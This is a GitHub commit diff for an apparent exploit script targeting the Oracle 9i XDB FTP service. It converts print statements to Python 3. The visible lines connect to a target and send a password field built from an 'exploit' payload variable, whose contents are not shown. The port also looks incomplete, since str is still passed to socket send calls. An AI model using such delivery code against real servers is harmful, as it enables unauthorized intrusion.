Skip to content

Commit 7e88bd7

Browse files
committed
update oracle_9i_xdb_ftp.py Python3
1 parent 6a9ab43 commit 7e88bd7

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

oracle_9i_xdb_ftp.py

+3-3
Original file line numberDiff line numberDiff line change
@@ -79,15 +79,15 @@
7979
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8080

8181
try:
82-
print "\nConnecting..."
82+
print( "\nConnecting...")
8383
s.connect((rhost,rport))
8484
data = s.recv(1024)
8585
s.send('USER' + user +'\r\n')
8686
data = s.recv(1024)
8787
s.send('PASS ' + exploit + '\r\n')
88-
print "\nDone!"
88+
print("\nDone!")
8989
s.close
9090
except:
91-
print "Could not connect to " + rhost + ":" + str(rport) + "!"
91+
print("Could not connect to " + rhost + ":" + str(rport) + "!")
9292

9393

0 commit comments

Comments
 (0)